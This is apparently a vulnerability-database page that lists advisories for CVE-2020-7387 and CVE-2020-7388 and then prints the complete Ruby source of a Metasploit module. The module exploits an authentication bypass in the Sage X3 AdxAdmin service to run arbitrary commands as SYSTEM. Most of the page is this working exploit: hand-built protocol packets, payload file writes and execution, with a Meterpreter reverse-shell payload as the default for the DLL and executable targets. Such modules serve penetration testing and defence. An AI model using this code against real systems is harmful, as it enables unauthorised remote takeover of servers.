| Reporter | Title | Published | Views | Family All 29 |
|---|---|---|---|---|
| Sage X3 Administration Service Authentication Bypass / Command Execution Exploit | 21 Jul 202100:00 | – | zdt | |
| CVE-2020-7388 | 7 Jul 202100:00 | – | attackerkb | |
| Last Week’s Security news: PrintNightmare patches and Metasploit, Kaseya CVEs, Morgan Stanley Accellion FTA, Cisco BPA and WSA, Philips Vue PACS, CISA RVAs, Lazarus job offers | 11 Jul 202120:52 | – | avleonov | |
| CVE-2020-7387 | 9 Jul 202102:21 | – | circl | |
| CVE-2020-7388 | 9 Jul 202116:05 | – | circl | |
| Sage Group Sage X3 安全漏洞 | 21 Jul 202100:00 | – | cnnvd | |
| Sage Group Sage X3 信息泄露漏洞 | 21 Jul 202100:00 | – | cnnvd | |
| CVE-2020-7387 | 22 Jul 202118:27 | – | cve | |
| CVE-2020-7388 | 22 Jul 202118:27 | – | cve | |
| CVE-2020-7387 Sage X3 AdxAdmin Exposure of Sensitive Information to an Unauthorized Actor | 22 Jul 202118:27 | – | cvelist |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sage X3 Administration Service Authentication Bypass Command Execution',
'Description' => %q{
This module leverages an authentication bypass exploit within Sage X3 AdxSrv's administration
protocol to execute arbitrary commands as SYSTEM against a Sage X3 Server running an
available AdxAdmin service.
},
'Author' => [
'Jonathan Peterson <deadjakk[at]shell.rip>', # @deadjakk
'Aaron Herndon' # @ac3lives
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2021-07-07',
'References' =>
[
['CVE', '2020-7387'], # Infoleak
['CVE', '2020-7388'], # RCE
['URL', 'https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/']
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/generic',
'CMD' => 'whoami'
}
}
],
[
'Windows DLL',
{
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Executable',
{
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [FIRST_ATTEMPT_FAIL],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(1818)
]
)
end
def vprint(msg = '')
print(msg) if datastore['VERBOSE']
end
def check
s = connect
print_status('Connected')
# ADXDIR command authentication header
# allows for unauthenticated retrieval of X3 directory
auth_packet = "\x09\x00"
s.write(auth_packet)
# recv response
res = s.read(1024)
if res.nil? || res.length != 4
print_bad('ADXDIR authentication failed')
return CheckCode::Safe
end
if res.chars == ["\xFF", "\xFF", "\xFF", "\xFF"]
print_bad('ADXDIR authentication failed')
return CheckCode::Safe
end
print_good('ADXDIR authentication successful.')
# ADXDIR command
adx_dir_msg = "\x07\x41\x44\x58\x44\x49\x52\x00"
s.write(adx_dir_msg)
directory = s.read(1024)
return CheckCode::Safe if directory.nil?
sagedir = directory[4..-2]
print_good(format('Received directory info from host: %s', sagedir))
disconnect
CheckCode::Vulnerable(details: { sagedir: sagedir })
rescue Rex::ConnectionError
CheckCode::Unknown
end
def build_buffer(head, sage_payload, tail)
buffer = ''
# do things
buffer << head if head
buffer << sage_payload.length
buffer << sage_payload
buffer << tail if tail
buffer
end
def write_file(sock, filenum, sage_payload, target, sagedir)
s = sock
# building the initial authentication packet
# [2bytes][userlen 1 byte][username][userlen 1 byte][username][passlen 1 byte][CRYPT:HASH]
# Note: the first byte of this auth packet is different from the ADXDIR command
revsagedir = sagedir.gsub('\\', '/')
s.write("\x06\x00")
auth_resp = s.read(1024)
fail_with(Failure::UnexpectedReply, 'Directory message did not provide intended response') if auth_resp.length != 4
print_good('Command authentication successful.')
# May require additional information such as file path
# this will be used for multiple messages
head = "\x00\x00\x36\x02\x00\x2e\x00" # head
fmt = '@%s/tmp/cmd%s$cmd'
fmt = '@%s/tmp/cmd%s.dll' if target == 'Windows DLL'
fmt = '@%s/tmp/cmd%s.exe' if target == 'Windows Executable'
pload = format(fmt, revsagedir, filenum)
tail = "\x00\x03\x00\x01\x77"
sendbuf = build_buffer(head, pload, tail)
s.write(sendbuf)
s.read(1024)
# Packet --- 3
# Creating the packet that contains the command to run
head = "\x02\x00\x05\x08\x00\x00\x00"
# this writes the data to the .cmd file to get executed
# a single write can't be larger than ~250 bytes
# so writes larger than 250 need to be broken up
written = 0
print_status('Writing data')
while written < sage_payload.length
vprint('.')
towrite = sage_payload[written..written + 250]
sendbuf = build_buffer(head, towrite, nil)
s.write(sendbuf)
s.recv(1024)
written += towrite.length
end
vprint("\r\n")
end
def exploit
sage_payload = payload.encoded if target.name == 'Windows Command'
sage_payload = generate_payload_dll if target.name == 'Windows DLL'
sage_payload = generate_payload_exe if target.name == 'Windows Executable'
sagedir = check.details[:sagedir]
if sagedir.nil?
fail_with(Failure::NotVulnerable,
'No directory was returned by the remote host, may not be vulnerable')
end
if sagedir.end_with?('AdxAdmin')
register_dir_for_cleanup("#{sagedir}\\tmp")
end
revsagedir = sagedir.gsub('\\', '/')
filenum = rand_text_numeric(8)
vprint_status(format('Using generated filename: %s', filenum))
s = connect
write_file(s, filenum, sage_payload, target.name, sagedir)
unless target.name == 'Windows Command'
disconnect
# re-establish connection after writing file
s = connect
end
if target.name == 'Windows DLL'
sage_payload = "rundll32.exe #{sagedir}\\tmp\\cmd#{filenum}.dll,0"
vprint_status(sage_payload)
write_file(s, filenum, sage_payload, nil, sagedir)
end
if target.name == 'Windows Executable'
sage_payload = "#{sagedir}\\tmp\\cmd#{filenum}.exe"
vprint_status(sage_payload)
write_file(s, filenum, sage_payload, nil, sagedir)
end
# Some sort of delimiter
delim0 = "\x02\x00\x01\x01" # bufm
s.write(delim0)
s.recv(1024)
# Packet --- 4
sage_payload = "@#{revsagedir}/tmp/sess#{filenum}$cmd"
head = "\x00\x00\x37\x02\x00\x2f\x00"
tail = "\x00\x03\x00\x01\x77"
sendbuf = build_buffer(head, sage_payload, tail)
s.write(sendbuf)
s.recv(1024)
# Packet --- 5
head = "\x02\x00\x05\x08\x00\x00\x00"
sage_payload = "@echo off\r\n#{sagedir}\\tmp\\cmd#{filenum}.cmd 1>#{sagedir}\\tmp\\#{filenum}.out 2>#{sagedir}\\tmp\\#{filenum}.err\r\n@echo on"
sendbuf = build_buffer(head, sage_payload, nil)
s.write(sendbuf)
s.recv(1024)
# Packet --- Delim
s.write(delim0)
s.recv(1024)
# Packet --- 6
head = "\x00\x00\x36\x04\x00\x2e\x00"
sage_payload = "#{revsagedir}\\tmp\\sess#{filenum}.cmd"
tail = "\x00\x03\x00\x01\x72"
sendbuf = build_buffer(head, sage_payload, tail)
s.write(sendbuf)
s.recv(1024)
# if it's not COMMAND, we can stop here
# otherwise, we'll send/recv the last bit
# of info for the output
unless target.name == 'Windows Command'
disconnect
return
end
# Packet --- Delim
delim1 = "\x02\x00\x05\x05\x00\x00\x10\x00"
s.write(delim1)
s.recv(1024)
# Packet --- Delim
s.write(delim0)
s.recv(1024)
# The two below are directing the server to read from the .out file that should have been created
# Then we get the output back
# Packet --- 7 - Still works when removed.
head = "\x00\x00\x2f\x07\x08\x00\x2b\x00"
sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"
sendbuf = build_buffer(head, sage_payload, nil)
s.write(sendbuf)
s.recv(1024)
# Packet --- 8
head = "\x00\x00\x33\x02\x00\x2b\x00"
sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"
tail = "\x00\x03\x00\x01\x72"
sendbuf = build_buffer(head, sage_payload, tail)
s.write(sendbuf)
s.recv(1024)
s.write(delim1)
returned_data = s.recv(8096).strip!
if returned_data.nil? || returned_data.empty?
disconnect
fail_with(Failure::PayloadFailed, 'No data appeared to be returned, try again')
end
print_good('------------ Response Received ------------')
print_status(returned_data)
disconnect
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation